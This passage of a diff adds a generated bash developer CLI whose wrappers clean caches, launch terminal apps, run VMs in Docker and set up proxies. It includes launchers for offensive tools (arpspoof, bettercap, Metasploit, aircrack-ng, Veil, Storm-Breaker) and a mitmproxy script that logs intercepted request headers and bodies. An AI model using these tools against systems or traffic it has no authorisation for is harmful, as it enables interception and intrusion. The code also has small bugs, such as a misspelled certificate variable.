blue_bold "Cleaning system logs..." + + blue_bold "Vacuuming journal logs older than 3 days..." + sudo journalctl --vacuum-time 3d + + blue_bold "Deleting archived logs..." + sudo find /var/log -type f -name '*.gz' -delete + sudo find /var/log -type f -name '*.1' -delete + +} + +# :command.function +dtools_clean_build_caches_command() { + + # src/commands/clean/build-caches.sh + blue_bold "Cleaning build caches" + # shellcheck disable=SC2154 + declare code_directory="${args[code-directory]}" + + readarray -t nodeModulesList < <(find "$code_directory" -type d -name node_modules) + readarray -t buildList < <(find "$code_directory" -type d -name build) + readarray -t outList < <(find "$code_directory" -type d -name out) + readarray -t cdkOutList < <(find "$code_directory" -type d -name cdk.out) + readarray -t pycacheList < <(find "$code_directory" -type d -name __pycache__) + readarray -t cargoList < <(find "$code_directory" -type f -name Cargo.toml -exec dirname {} \;) + + blue_bold "Cleaning 'node_modules' directories..." + spinny-start + for nodeModulesDirectory in "${nodeModulesList[@]}"; do + blue_bold "Cleaning 'node_modules' directory: $nodeModulesDirectory" + sudo rm -rf "$nodeModulesDirectory" + done + spinny-stop + + blue_bold "Cleaning 'build' directories..." + spinny-start + for buildDirectory in "${buildList[@]}"; do + blue_bold "Cleaning 'build' directory: $buildDirectory" + sudo rm -rf "$buildDirectory" + done + spinny-stop + + blue_bold "Cleaning 'out' directories..." + spinny-start + for outDirectory in "${outList[@]}"; do + blue_bold "Cleaning 'out' directory: $outDirectory" + sudo rm -rf "$outDirectory" + done + spinny-stop + + blue_bold "Cleaning 'cdk.out' directories..." + spinny-start + for cdkOutDirectory in "${cdkOutList[@]}"; do + blue_bold "Cleaning 'cdk.out' directory: $cdkOutDirectory" + sudo rm -rf "$cdkOutDirectory" + done + spinny-stop + + blue_bold "Cleaning 'pycache' directories..." + spinny-start + for pycacheDirectory in "${pycacheList[@]}"; do + blue_bold "Cleaning 'pycache' directory: $pycacheDirectory" + sudo rm -rf "$pycacheDirectory" + done + spinny-stop + + blue_bold "Cleaning 'Rust' projects..." + spinny-start + for cargoDirectory in "${cargoList[@]}"; do + blue_bold "Cleaning rust project: $cargoDirectory" + # shellcheck disable=SC2164 + pushd "$cargoDirectory" > /dev/null 2>&1 + cargo clean + # shellcheck disable=SC2164 + popd > /dev/null 2>&1 + done + + blue_bold "Cleaning the ~/.m2/repository cache..." + rm -rf "$HOME"/.m2/repository + + green_bold "Finished cleaning build caches" + +} + +# :command.function +dtools_tui_monitoring_system_monitor_command() { + + # src/commands/tui/monitoring/system-monitor.sh + btop + +} + +# :command.function +dtools_tui_monitoring_pihole_monitor_command() { + + # src/commands/tui/monitoring/pihole-monitor.sh + pimon +} + +# :command.function +dtools_tui_monitoring_kernel_monitor_command() { + + # src/commands/tui/monitoring/kernel-monitor.sh + kmon + +} + +# :command.function +dtools_tui_network_monitoring_wavemon_command() { + + # src/commands/tui/network-monitoring/wavemon.sh + wavemon + +} + +# :command.function +dtools_tui_network_monitoring_network_diags_command() { + + # src/commands/tui/network-monitoring/network-diags.sh + trippy +} + +# :command.function +dtools_tui_network_monitoring_ip_traffic_command() { + + # src/commands/tui/network-monitoring/ip-traffic.sh + iptraf +} + +# :command.function +dtools_tui_network_monitoring_socket_stats_command() { + + # src/commands/tui/network-monitoring/socket-stats.sh + neoss +} + +# :command.function +dtools_tui_network_monitoring_netscanner_command() { + + # src/commands/tui/network-monitoring/netscanner.sh + netscanner + +} + +# :command.function +dtools_tui_network_network_manager_command() { + + # src/commands/tui/network/network-manager.sh + nmtui + +} + +# :command.function +dtools_tui_network_bluetooth_manager_command() { + + # src/commands/tui/network/bluetooth-manager.sh + bluetuith + +} + +# :command.function +dtools_tui_network_wireguard_config_command() { + + # src/commands/tui/network/wireguard-config.sh + wg-cmd + +} + +# :command.function +dtools_tui_network_mitm_proxy_command() { + + # src/commands/tui/network/mitm-proxy.sh + mitmproxy +} + +# :command.function +dtools_tui_network_proxy_command() { + + # src/commands/tui/network/proxy.sh + proxyfor + +} + +# :command.function +dtools_tui_network_proxymock_command() { + + # src/commands/tui/network/proxymock.sh + proxymock +} + +# :command.function +dtools_tui_network_http_load_generator_command() { + + # src/commands/tui/network/http-load-generator.sh + oha +} + +# :command.function +dtools_tui_network_ping_command() { + + # src/commands/tui/network/ping.sh + gping +} + +# :command.function +dtools_tui_network_full_browser_command() { + + # src/commands/tui/network/full-browser.sh + docker run -it browsh/browsh +} + +# :command.function +dtools_tui_network_elinks_command() { + + # src/commands/tui/network/elinks.sh + elinks + +} + +# :command.function +dtools_tui_network_w3m_command() { + + # src/commands/tui/network/w3m.sh + w3m + +} + +# :command.function +dtools_tui_network_lynx_command() { + + # src/commands/tui/network/lynx.sh + lynx + +} + +# :command.function +dtools_tui_network_carbonyl_command() { + + # src/commands/tui/network/carbonyl.sh + carbonyl + +} + +# :command.function +dtools_tui_network_http_request_client_command() { + + # src/commands/tui/network/http-request-client.sh + wuzz +} + +# :command.function +dtools_tui_network_http_request_client_2_command() { + + # src/commands/tui/network/http-request-client-2.sh + slumber + +} + +# :command.function +dtools_tui_network_api_client_command() { + + # src/commands/tui/network/api-client.sh + atac + +} + +# :command.function +dtools_tui_docker_docker_command() { + + # src/commands/tui/docker/docker.sh + lazydocker +} + +# :command.function +dtools_tui_docker_docker_layer_analyzer_command() { + + # src/commands/tui/docker/docker-layer-analyzer.sh + dive + +} + +# :command.function +dtools_tui_docker_kubernetes_command() { + + # src/commands/tui/docker/kubernetes.sh + k9s +} + +# :command.function +dtools_tui_development_git_command() { + + # src/commands/tui/development/git.sh + gitui +} + +# :command.function +dtools_tui_development_jira_command() { + + # src/commands/tui/development/jira.sh + jirust + +} + +# :command.function +dtools_tui_development_readme_command() { + + # src/commands/tui/development/readme.sh + glow +} + +# :command.function +dtools_tui_development_tail_logs_command() { + + # src/commands/tui/development/tail-logs.sh + lnav +} + +# :command.function +dtools_tui_development_drft_command() { + + # src/commands/tui/development/drft.sh + drft + +} + +# :command.function +dtools_tui_development_wrkflw_command() { + + # src/commands/tui/development/wrkflw.sh + wrkflw + +} + +# :command.function +dtools_tui_development_gama_command() { + + # src/commands/tui/development/gama.sh + echo "# This file is located at 'src/commands/tui/development/gama.sh'." + echo "# It contains the implementation for the 'dtools tui development gama' command." + echo "# The code you write here will be wrapped by a function named 'dtools_tui_development_gama_command()'." + echo "# Feel free to edit this file; your changes will persist when regenerating." + inspect_args + +} + +# :command.function +dtools_tui_development_ecs_command() { + + # src/commands/tui/development/ecs.sh + e1s + +} + +# :command.function +dtools_tui_development_openapi_command() { + + # src/commands/tui/development/openapi.sh + openapi-tui + +} + +# :command.function +dtools_tui_development_gcs_command() { + + # src/commands/tui/development/gcs.sh + # shellcheck disable=SC2154 + declare gcs_url="${args[gcs_url]}" + + burf "$gcs_url" + +} + +# :command.function +dtools_tui_development_prs_command() { + + # src/commands/tui/development/prs.sh + prs + +} + +# :command.function +dtools_tui_development_s3_command() { + + # src/commands/tui/development/s3.sh + stu + +} + +# :command.function +dtools_tui_development_terraform_command() { + + # src/commands/tui/development/terraform.sh + # shellcheck disable=SC2154 + if [[ "${args[--terraform]}" == 1 ]]; then + pug + else + pug --program=terragrunt + fi + +} + +# :command.function +dtools_tui_development_journal_command() { + + # src/commands/tui/development/journal.sh + lazyjournal + +} + +# :command.function +dtools_tui_development_multi_host_log_viewer_command() { + + # src/commands/tui/development/multi-host-log-viewer.sh + nerdlog + +} + +# :command.function +dtools_tui_dev_help_stack_overflow_command() { + + # src/commands/tui/dev-help/stack-overflow.sh + so +} + +# :command.function +dtools_tui_dev_help_wiki_command() { + + # src/commands/tui/dev-help/wiki.sh + wiki-tui +} + +# :command.function +dtools_tui_data_db_command() { + + # src/commands/tui/data/db.sh + gobang +} + +# :command.function +dtools_tui_data_explorer_command() { + + # src/commands/tui/data/explorer.sh + visidata + +} + +# :command.function +dtools_tui_data_database_ide_command() { + + # src/commands/tui/data/database-ide.sh + harlequin + +} + +# :command.function +dtools_tui_data_kafka_command() { + + # src/commands/tui/data/kafka.sh + yozf + +} + +# :command.function +dtools_tui_data_jupyter_notebook_command() { + + # src/commands/tui/data/jupyter-notebook.sh + euporie-notebook + +} + +# :command.function +dtools_tui_misc_notes_command() { + + # src/commands/tui/misc/notes.sh + joplin + +} + +# :command.function +dtools_tui_misc_presentation_command() { + + # src/commands/tui/misc/presentation.sh + patat + +} + +# :command.function +dtools_tui_misc_dev_chat_command() { + + # src/commands/tui/misc/dev-chat.sh + # shellcheck disable=SC2154 + ssh "${args[nickname]}@devzat.hackclub.com" + +} + +# :command.function +dtools_tui_misc_file_manager_command() { + + # src/commands/tui/misc/file-manager.sh + nnn +} + +# :command.function +dtools_tui_misc_screensaver_command() { + + # src/commands/tui/misc/screensaver.sh + #!/bin/bash + ttysvr + +} + +# :command.function +dtools_tui_misc_weather_command() { + + # src/commands/tui/misc/weather.sh + wego + +} + +# :command.function +dtools_tui_misc_linutil_command() { + + # src/commands/tui/misc/linutil.sh + linutil + +} + +# :command.function +dtools_tui_misc_slack_command() { + + # src/commands/tui/misc/slack.sh + slack-term + +} + +# :command.function +dtools_tui_misc_youtube_music_command() { + + # src/commands/tui/misc/youtube-music.sh + ytermusic + +} + +# :command.function +dtools_tui_misc_youtube_music_2_command() { + + # src/commands/tui/misc/youtube-music-2.sh + ytui_music run + +} + +# :command.function +dtools_tui_misc_jellyfin_command() { + + # src/commands/tui/misc/jellyfin.sh + jellyfin-tui + +} + +# :command.function +dtools_tui_misc_visualizations_command() { + + # src/commands/tui/misc/visualizations.sh + vis + +} + +# :command.function +dtools_tui_misc_visualizations_2_command() { + + # src/commands/tui/misc/visualizations-2.sh + cava + +} + +# :command.function +dtools_tui_misc_find_and_replace_command() { + + # src/commands/tui/misc/find-and-replace.sh + scooter + +} + +# :command.function +dtools_tui_misc_ascii_theater_command() { + + # src/commands/tui/misc/ascii-theater.sh + ssh -o StrictHostKeyChecking=no watch.ascii.theater + +} + +# :command.function +dtools_tui_misc_calendar_command() { + + # src/commands/tui/misc/calendar.sh + calcure + +} + +# :command.function +dtools_tui_misc_piano_command() { + + # src/commands/tui/misc/piano.sh + upiano + +} + +# :command.function +dtools_tui_misc_servarr_command() { + + # src/commands/tui/misc/servarr.sh + echo "# This file is located at 'src/commands/tui/misc/servarr.sh'." + echo "# It contains the implementation for the 'dtools tui misc servarr' command." + echo "# The code you write here will be wrapped by a function named 'dtools_tui_misc_servarr_command()'." + echo "# Feel free to edit this file; your changes will persist when regenerating." + inspect_args + +} + +# :command.function +dtools_tui_sandbox_jqp_command() { + + # src/commands/tui/sandbox/jqp.sh + # shellcheck disable=SC2154 + jqp -f "${args[json_file]}" + +} + +# :command.function +dtools_tui_sandbox_desed_command() { + + # src/commands/tui/sandbox/desed.sh + desed + +} + +# :command.function +dtools_tui_sandbox_play_command() { + + # src/commands/tui/sandbox/play.sh + # shellcheck disable=SC2154 + declare program="${args[program]}" + + play "$program" + +} + +# :command.function +dtools_tui_sandbox_regect_command() { + + # src/commands/tui/sandbox/regect.sh + regect + +} + +# :command.function +dtools_tui_ai_elia_command() { + + # src/commands/tui/ai/elia.sh + elia + +} + +# :command.function +dtools_pentest_maltego_command() { + + # src/commands/pentest/maltego.sh + maltego + +} + +# :command.function +dtools_pentest_ifconfig_command() { + + # src/commands/pentest/ifconfig.sh + ifconfig + +} + +# :command.function +dtools_pentest_netdiscover_command() { + + # src/commands/pentest/netdiscover.sh + netdiscover + +} + +# :command.function +dtools_pentest_nmap_command() { + + # src/commands/pentest/nmap.sh + nmap + +} + +# :command.function +dtools_pentest_arpspoof_command() { + + # src/commands/pentest/arpspoof.sh + arpspoof + +} + +# :command.function +dtools_pentest_bettercap_command() { + + # src/commands/pentest/bettercap.sh + bettercap + +} + +# :command.function +dtools_pentest_msfconsole_command() { + + # src/commands/pentest/msfconsole.sh + msfconsole + +} + +# :command.function +dtools_pentest_aircrack_ng_command() { + + # src/commands/pentest/aircrack-ng.sh + aircrack-ng + +} + +# :command.function +dtools_pentest_crunch_command() { + + # src/commands/pentest/crunch.sh + crunch + +} + +# :command.function +dtools_pentest_veil_command() { + + # src/commands/pentest/veil.sh + cd /opt/Veil && python3 Veil.py + +} + +# :command.function +dtools_pentest_ngrok_command() { + + # src/commands/pentest/ngrok.sh + ngrok + +} + +# :command.function +dtools_pentest_storm_breaker_command() { + + # src/commands/pentest/storm-breaker.sh + cd /opt/Storm-Breaker && sudo python3 st.py + +} + +# :command.function +dtools_video_rip_audio_command() { + + # src/commands/video/rip-audio.sh + # shellcheck disable=SC2154 + declare video_file="${args[video_file]}" + # shellcheck disable=SC2154 + declare output_file="${args[--output-file]}" + # shellcheck disable=SC2154 + declare title="${args[--title]:-$output_file}" + + ffmpeg -i "$video_file" -acodec libmp3lame -metadata TITLE="$title" "$output_file.mp3" + +} + +# :command.function +dtools_video_youtube_command() { + + # src/commands/video/youtube.sh + # shellcheck disable=SC2154 + declare url="${args[url]}" + declare playlist="${args[--playlist]}" + + if [[ "${args[--audio-only]}" == 1 ]]; then + if [[ $playlist == 1 ]]; then + sudo youtube-dl -f "bestaudio" \ + --continue \ + --no-overwrites \ + --ignore-errors \ + --extract-audio \ + --audio-format mp3 \ + -o "%(title)s.%(ext)s" \ + "$url" + else + sudo youtube-dl -x --audio-format mp3 "$url" + fi + else + if [[ $playlist == 1 ]]; then + sudo youtube-dl -cit "$url" + else + sudo youtube-dl "$url" + fi + fi + +} + +# :command.function +dtools_video_split_scenes_command() { + + # src/commands/video/split-scenes.sh + # shellcheck disable=SC2154 + declare video_file="${args[video_file]}" + # shellcheck disable=SC2154 + declare content_threshold="${args[--content-threshold]}" + # shellcheck disable=SC2154 + declare fade_threshold="${args[--fade-threshold]}" + # shellcheck disable=SC2154 + declare keep_duration="${args[--keep-duration]}" + + scenedetect --input "$video_file" detect-content --threshold "$content_threshold" detect-threshold --threshold "$fade_threshold" split-video + + for file in *."${video_file##*.}"; do + duration=$(ffprobe -v error -select_streams v:0 -show_entries stream=duration -of csv=p=0 "$file") + + if (( $(echo "$duration < $keep_duration" | bc -l) )); then + rm "$file" + fi + done + +} + +# :command.function +dtools_video_duration_command() { + + # src/commands/video/duration.sh + # shellcheck disable=SC2154 + declare video_file="${args[video_file]}" + + ffprobe -v error -select_streams v:0 -show_entries stream=duration -of csv=p=0 "$video_file" + +} + +# :command.function +dtools_video_boost_audio_command() { + + # src/commands/video/boost-audio.sh + # shellcheck disable=SC2154 + declare video_file="${args[video_file]}" + # shellcheck disable=SC2154 + declare multiplier="${args[--multiplier]}" + # shellcheck disable=SC2154 + declare output_file="${args[--output-file]}" + + ffmpeg -i "$video_file" -vcodec copy -af "volume=2.0" "$output_file" + +} + +# :command.function +dtools_vm_windows_command() { + + # src/commands/vm/windows.sh + # shellcheck disable=SC2154 + declare version="${args[--version]}" + # shellcheck disable=SC2154 + declare disk_size="${args[--disk-size]}" + # shellcheck disable=SC2154 + declare ram_size="${args[--ram-size]}" + # shellcheck disable=SC2154 + declare cpu_cores="${args[--cpu-cores]}" + # shellcheck disable=SC2154 + declare share_directory="${args[--share-directory]}" + # shellcheck disable=SC2154 + declare persistent_dir_prefix="${args[--persistent-dir-prefix]:-$version}" + + if [[ "${args[--wipe-persistent-data]}" == 1 ]]; then + declare persistent_data_dir="$HOME/.vm/windows/$persistent_dir_prefix" + if [[ -d "$persistent_data_dir" ]]; then + yellow "Removing persisted session data for Windows ${version}..." + rm -rf "$persistent_data_dir" + else + red "There's no persisted Windows ${version} session in the specified persistent directory: $persistent_data_dir" + exit 1 + fi + fi + + if [[ "${args[--persistent]}" == 1 ]]; then + [[ -d "$HOME/.vm/windows/$persistent_dir_prefix" ]] || mkdir -p "$HOME/.vm/windows/$persistent_dir_prefix" + fi + + if [[ "${args[--persistent]}" == 1 ]]; then + container_id=$(docker run -it --rm \ + -v "$HOME/.vm/windows/$persistent_dir_prefix:/storage" \ + -p 8006:8006 \ + -p 3389:3389 \ + --device=/dev/kvm \ + --device=/dev/dri \ + -e "VERSION=$version" \ + -e "DISK_SIZE=${disk_size}G" \ + -e "RAM_SIZE=${ram_size}G" \ + -e "CPU_CORES=$cpu_cores" \ + -v "$share_directory:/data" \ + --cap-add NET_ADMIN \ + --stop-timeout 120 \ + -d \ + dockurr/windows) + else + container_id=$(docker run -it --rm \ + -p 8006:8006 \ + -p 3389:3389 \ + --device=/dev/kvm \ + --device=/dev/dri \ + -e "VERSION=$version" \ + -e "DISK_SIZE=${disk_size}G" \ + -e "RAM_SIZE=${ram_size}G" \ + -e "CPU_CORES=$cpu_cores" \ + -v "$share_directory:/data" \ + --cap-add NET_ADMIN \ + --stop-timeout 120 \ + -d \ + dockurr/windows) + fi + + cleanup() { + cyan "Stopping Windows container $container_id..." + docker stop "$container_id" > /dev/null + } + + trap cleanup EXIT + + until (docker logs "$container_id" 2>&1 | grep -qi "starting boot.*Windows Boot Manager"); do + blue "Waiting for Windows to boot..." + sleep 3 + done + + yes | xfreerdp3 /v:localhost /u:Docker /p:admin +dynamic-resolution + +} + +# :command.function +dtools_vm_linux_command() { + + # src/commands/vm/linux.sh + # shellcheck disable=SC2154 + declare dist="${args[--dist]}" + # shellcheck disable=SC2154 + declare image_url="${args[--image-url]}" + # shellcheck disable=SC2154 + declare disk_size="${args[--disk-size]}" + # shellcheck disable=SC2154 + declare ram_size="${args[--ram-size]}" + # shellcheck disable=SC2154 + declare cpu_cores="${args[--cpu-cores]}" + # shellcheck disable=SC2154 + declare share_directory="${args[--share-directory]}" + + if [[ -n $dist ]]; then + image=$dist + else + image=$image_url + fi + + # shellcheck disable=SC2154 + declare persistent_dir_prefix="${args[--persistent-dir-prefix]:-$image}" + + if [[ "${args[--wipe-persistent-data]}" == 1 ]]; then + declare persistent_data_dir="$HOME/.vm/linux/$persistent_dir_prefix" + if [[ -d "$persistent_data_dir" ]]; then + yellow "Removing persisted session data for Linux ${image}..." + rm -rf "$persistent_data_dir" + else + red "There's no persisted Linux container (${image}) session in the specified persistent directory: $persistent_data_dir" + exit 1 + fi + fi + + if [[ "${args[--persistent]}" == 1 ]]; then + [[ -d "$HOME/.vm/linux/$persistent_dir_prefix" ]] || mkdir -p "$HOME/.vm/linux/$persistent_dir_prefix" + fi + + if [[ "${args[--no-gui]}" == 1 ]]; then + if [[ "${args[--persistent]}" == 1 ]]; then + docker run -it --rm \ + -v "$HOME/.vm/linux/$persistent_dir_prefix:/storage" \ + -p 8006:8006 \ + -p 2222:22 \ + --device=/dev/kvm \ + -e "BOOT=$image" \ + -e "DISK_SIZE=${disk_size}G" \ + -e "RAM_SIZE=${ram_size}G" \ + -e "CPU_CORES=$cpu_cores" \ + -v "$share_directory:/shared" \ + --cap-add NET_ADMIN \ + --stop-timeout 120 \ + qemux/qemu + else + docker run -it --rm \ + -p 8006:8006 \ + -p 2222:22 \ + --device=/dev/kvm \ + -e "BOOT=$image" \ + -e "DISK_SIZE=${disk_size}G" \ + -e "RAM_SIZE=${ram_size}G" \ + -e "CPU_CORES=$cpu_cores" \ + -v "$share_directory:/shared" \ + --cap-add NET_ADMIN \ + --stop-timeout 120 \ + qemux/qemu + fi + else + if [[ "${args[--persistent]}" == 1 ]]; then + container_id=$(docker run -it --rm \ + -v "$HOME/.vm/linux/$persistent_dir_prefix:/storage" \ + -p 8006:8006 \ + -p 5900:5900 \ + -p 3389:3389 \ + -p 2222:22 \ + --device=/dev/kvm \ + -e "BOOT=$image" \ + -e "DISK_SIZE=${disk_size}G" \ + -e "RAM_SIZE=${ram_size}G" \ + -e "CPU_CORES=$cpu_cores" \ + -v "$share_directory:/shared" \ + --cap-add NET_ADMIN \ + --stop-timeout 120 \ + -d \ + qemux/qemu) + else + container_id=$(docker run -it --rm \ + -p 8006:8006 \ + -p 5900:5900 \ + -p 3389:3389 \ + -p 2222:22 \ + --device=/dev/kvm \ + -e "BOOT=$image" \ + -e "DISK_SIZE=${disk_size}G" \ + -e "RAM_SIZE=${ram_size}G" \ + -e "CPU_CORES=$cpu_cores" \ + -v "$share_directory:/shared" \ + --cap-add NET_ADMIN \ + --stop-timeout 120 \ + -d \ + qemux/qemu) + fi + + cleanup() { + cyan "Stopping Linux container $container_id..." + docker stop "$container_id" > /dev/null + } + + trap cleanup EXIT + + until (docker logs "$container_id" 2>&1 | grep -qi "starting Boot.*from PciRoot\|starting Boot.*from HD"); do + blue "Waiting for Linux to boot..." + sleep 3 + done + + if [[ "${args[--use-rdp]}" == 1 ]]; then + yes | xfreerdp3 /v:localhost /u:"${args[--rdp-user]}" /p:"${args[--rdp-password]}" +dynamic-resolution + else + remmina -c vnc://localhost:5900 --set-option quality=2 --set-option scale=2 --set-option keyboard_grab=1 + fi + fi + +} + +# :command.function +dtools_vm_mac_command() { + + # src/commands/vm/mac.sh + # shellcheck disable=SC2154 + declare version="${args[--version]}" + # shellcheck disable=SC2154 + declare disk_size="${args[--disk-size]}" + # shellcheck disable=SC2154 + declare ram_size="${args[--ram-size]}" + # shellcheck disable=SC2154 + declare cpu_cores="${args[--cpu-cores]}" + # shellcheck disable=SC2154 + declare share_directory="${args[--share-directory]}" + # shellcheck disable=SC2154 + declare persistent_dir_prefix="${args[--persistent-dir-prefix]:-$version}" + + if [[ "${args[--wipe-persistent-data]}" == 1 ]]; then + declare persistent_data_dir="$HOME/.vm/mac/$persistent_dir_prefix" + if [[ -d "$persistent_data_dir" ]]; then + yellow "Removing persisted session data for Mac OS ${version}..." + rm -rf "$persistent_data_dir" + else + red "There's no persisted MacOS ${version} session in the specified persistent directory: $persistent_data_dir" + exit 1 + fi + fi + + if [[ "${args[--persistent]}" == 1 ]]; then + [[ -d "$HOME/.vm/mac/$persistent_dir_prefix" ]] || mkdir -p "$HOME/.vm/mac/$persistent_dir_prefix" + fi + + if [[ "${args[--persistent]}" == 1 ]]; then + container_id=$(docker run -it --rm \ + -v "$HOME/.vm/mac/$persistent_dir_prefix:/storage:rw" \ + -p 8006:8006 \ + -p 5900:5900 \ + -p 2222:22 \ + --device=/dev/kvm \ + -e "VERSION=$version" \ + -e "DISK_SIZE=${disk_size}G" \ + -e "RAM_SIZE=${ram_size}G" \ + -e "CPU_CORES=$cpu_cores" \ + -v "$share_directory:/shared" \ + --cap-add NET_ADMIN \ + --stop-timeout 120 \ + -d \ + dockurr/macos) + else + container_id=$(docker run -it --rm \ + -p 8006:8006 \ + -p 5900:5900 \ + -p 2222:22 \ + --device=/dev/kvm \ + -e "VERSION=$version" \ + -e "DISK_SIZE=${disk_size}G" \ + -e "RAM_SIZE=${ram_size}G" \ + -e "CPU_CORES=$cpu_cores" \ + -v "$share_directory:/shared" \ + --cap-add NET_ADMIN \ + --stop-timeout 120 \ + -d \ + dockurr/macos) + fi + + cleanup() { + cyan "Stopping Mac container $container_id..." + docker stop "$container_id" > /dev/null + } + + trap cleanup EXIT + + until (docker logs "$container_id" 2>&1 | grep -qi "starting Boot.*from PciRoot"); do + blue "Waiting for Mac to boot..." + sleep 3 + done + + remmina -c vnc://localhost:5900 --set-option quality=2 --set-option scale=2 --set-option keyboard_grab=1 + +} + +# :command.function +dtools_network_generate_self_signed_certificate_command() { + + # src/commands/network/generate-self-signed-certificate.sh + # shellcheck disable=SC2154 + declare output="${args[--output]}" + # shellcheck disable=SC2154 + declare key_output="${args[--key-output]}" + # shellcheck disable=SC2154 + declare pfx_output="${args[--pfx-output]}" + # shellcheck disable=SC2154 + declare hostname="${args[--hostname]}" + + sudo openssl req -x509 -newkey rsa:2048 -days 365 -nodes -out "$output" -keyout "$key_output" -subj "/C=US/ST=Colorado/L=Denver/O=ClarkeCloud/OU=IT/CN=$hostname" + sudo chmod 600 "$output" + sudo chmod 600 "$key_output" + + if [[ -n $pfx_output ]]; then + sudo openssl pkcs12 -export -out "$pfx_output" -inkey "$key_output" -in "$output" + sudo chmod 600 "$pfx_output" + fi + +} + +# :command.function +dtools_network_https_proxy_command() { + + # src/commands/network/https-proxy.sh + # shellcheck disable=SC2154 + declare https_port="${args[--https-port]}" + # shellcheck disable=SC2154 + declare proxy_target_host="${args[--proxy-target-host]}" + # shellcheck disable=SC2154 + declare proxy_target_port="${args[--proxy-target-port]}" + # shellcheck disable=SC2154 + declare ssl_certificate="${args[--ssl-certificate]}" + declare dtools_cert=/etc/devtools/dtools.pem + + if [[ $ssl_certificate = "$dtools_cert" && ! -f $dtools_cert ]]; then + [[ -d /etc/devtools ]] || sudo mkdir /etc/devtools + sudo openssl req -new -x509 -days 365 -nodes -out "$dtool_cert" -keyout "$dtools_cert" -subj "/C=US/ST=Colorado/L=Denver/O=ClarkeCloud/OU=IT/CN=localhost" + sudo chmod 600 "$dtools_cert" + fi + + sudo socat openssl-listen:"$https_port",reuseaddr,fork,cert="$ssl_certificate",verify=0 tcp:"$proxy_target_host":"$proxy_target_port" + +} + +# :command.function +dtools_network_tcp_proxy_command() { + + # src/commands/network/tcp-proxy.sh + # shellcheck disable=SC2154 + declare tcp_host="${args[--tcp-host]}" + # shellcheck disable=SC2154 + declare tcp_port="${args[--tcp-port]}" + # shellcheck disable=SC2154 + declare proxy_target_host="${args[--proxy-target-host]}" + # shellcheck disable=SC2154 + declare proxy_target_port="${args[--proxy-target-port]}" + + sudo simpleproxy -L "${tcp_host}:${tcp_port}" -R "${proxy_target_host}:${proxy_target_port}" -v + +} + +# :command.function +dtools_network_proxy_with_nginx_command() { + + # src/commands/network/proxy-with-nginx.sh + # shellcheck disable=SC2154 + declare tcp_port="${args[--tcp-port]}" + # shellcheck disable=SC2154 + declare proxy_target_host="${args[--proxy-target-host]}" + # shellcheck disable=SC2154 + declare proxy_target_protocol="${args[--proxy-target-protocol]}" + # shellcheck disable=SC2155 + declare temp_config_file="$(mktemp)" + + # shellcheck disable=SC2064 + trap "rm -f $temp_config_file" EXIT + + cat <<-EOF >> "$temp_config_file" + # nginx.conf + worker_processes 1; + + events {} + + http { + server { + listen $tcp_port; + + location / { + proxy_pass $proxy_target_protocol://$proxy_target_host; + + # Forward the Host header so the remote API recognizes the request + proxy_set_header Host $proxy_target_host; + + # Optional: standard reverse proxy headers + proxy_set_header X-Real-IP \$remote_addr; + proxy_set_header X-Forwarded-For \$proxy_add_x_forwarded_for; + + # Enable SNI (important for HTTPS targets) + proxy_ssl_server_name on; + } + } + } + EOF + +yellow "Press 'Ctrl-c' to stop proxying" +sudo nginx -p . -g 'daemon off;' -c "$temp_config_file" + +} + +# :command.function +dtools_network_mitm_proxy_command() { + + # src/commands/network/mitm-proxy.sh + # shellcheck disable=SC2154 + declare domain="${args[domain]}" + declare port="${args[--port]}" + declare script_file="${args[--script-file]}" + + if [[ -z $script_file ]]; then + script_file="$(mktemp /dev/shm/tmp.XXXXXX)" + trap 'rm -f $script_file' EXIT + + cat <<-EOF >> "$script_file" + from mitmproxy import http + import re + + def request(flow: http.HTTPFlow) -> None: + match = re.search(r'$domain', flow.request.host) + if match is not None: + print(f"Request to {flow.request.host}:") + print(flow.request.method, flow.request.url) + print("Headers:", flow.request.headers) + print("Body:", flow.request.get_text()) + # Requests will be automatically forwarded unless explicitly modified or killed. + EOF +fi + +mitmproxy --listen-port "$port" -s "$script_file" + +} + +# :command.function +dtools_network_archive_website_command() { + + # src/commands/network/archive-website.sh + # shellcheck disable=SC2154 + declare url="${args[--url]}" + # shellcheck disable=SC2154 + declare name="${args[--name]}" + # shellcheck disable=SC2154 + declare output="${args[--output]}" + # shellcheck disable=SC2154 + declare limit="${args[--limit]}" + # shellcheck disable=SC2154 + declare behaviors="${args[--behaviors]}" + # shellcheck disable=SC2154 + declare exclude="${args[--exclude]}" + # shellcheck disable=SC2154 + declare workers="${args[--workers]}" + # shellcheck disable=SC2154 + declare wait_until="${args[--wait-until]}" + # shellcheck disable=SC2154 + declare keep="${args[--keep]}" + # shellcheck disable=SC2154 + declare shm_size="${args[--shm-size]}" + + docker run \ + --rm \ + --shm-size="$shm_size" \ + -v "$output":/output \ + ghcr.io/openzim/zimit zimit \ + --url "$url" \ + --name "$name" \ + --output "$output" \ + "${limit:+--limit "$limit"}" \ + --behaviors "$behaviors" \ + "${exclude:+--exclude "$exclude"}" \ + "${workers:+--workers "$workers"}" \ + --wait-until "$wait_until" \ + "${keep:+--keep}" + +} + +# :command.function +dtools_network_warc_2_zim_command() { + + # src/commands/network/warc-2-zim.sh + # shellcheck disable=SC2154 + declare url="${args[--url]}" + # shellcheck disable=SC2154 + declare name="${args[--name]}" + # shellcheck disable=SC2154 + declare output="${args[--output]}" + # shellcheck disable=SC2154 + declare limit="${args[--limit]}" + # shellcheck disable=SC2154 + declare behaviors="${args[--behaviors]}" + # shellcheck disable=SC2154 + declare exclude="${args[--exclude]}" + # shellcheck disable=SC2154 + declare workers="${args[--workers]}" + # shellcheck disable=SC2154 + declare wait_until="${args[--wait-until]}" + # shellcheck disable=SC2154 + declare keep="${args[--keep]}" + # shellcheck disable=SC2154 + declare shm_size="${args[--shm-size]}" + + docker run \ + --rm \ + --shm-size="$shm_size" \ + -v "$output":/output \ + ghcr.io/openzim/zimit warc2zim \ + --url "$url" \ + --name "$name" \ + --output "$output" \ + "${limit:+--limit "$limit"}" \ + --behaviors "$behaviors" \ + "${exclude:+--exclude "$exclude"}" \ + "${workers:+--workers "$workers"}" \ + --wait-until "$wait_until" \ + "${keep:+--keep}" + +} + +# :command.function +dtools_network_mermaid_api_command() { + + # src/commands/network/mermaid-api.sh + # shellcheck disable=SC2154 + declare port="${args[port]}" + + docker run --rm -it --name mermaid-server -p "$port:80" tomwright/mermaid-server:latest + +} + +# :command.function +dtools_ntfy_subscribe_command() { + + # src/commands/ntfy/subscribe.sh + # shellcheck disable=SC2154 + declare sound="${args[--sound]}" + + if [[ -z $sound ]]; then + ntfy sub "${args[topic]}" 'echo "$raw"' + else + ntfy sub "${args[topic]}" 'echo "$raw" && 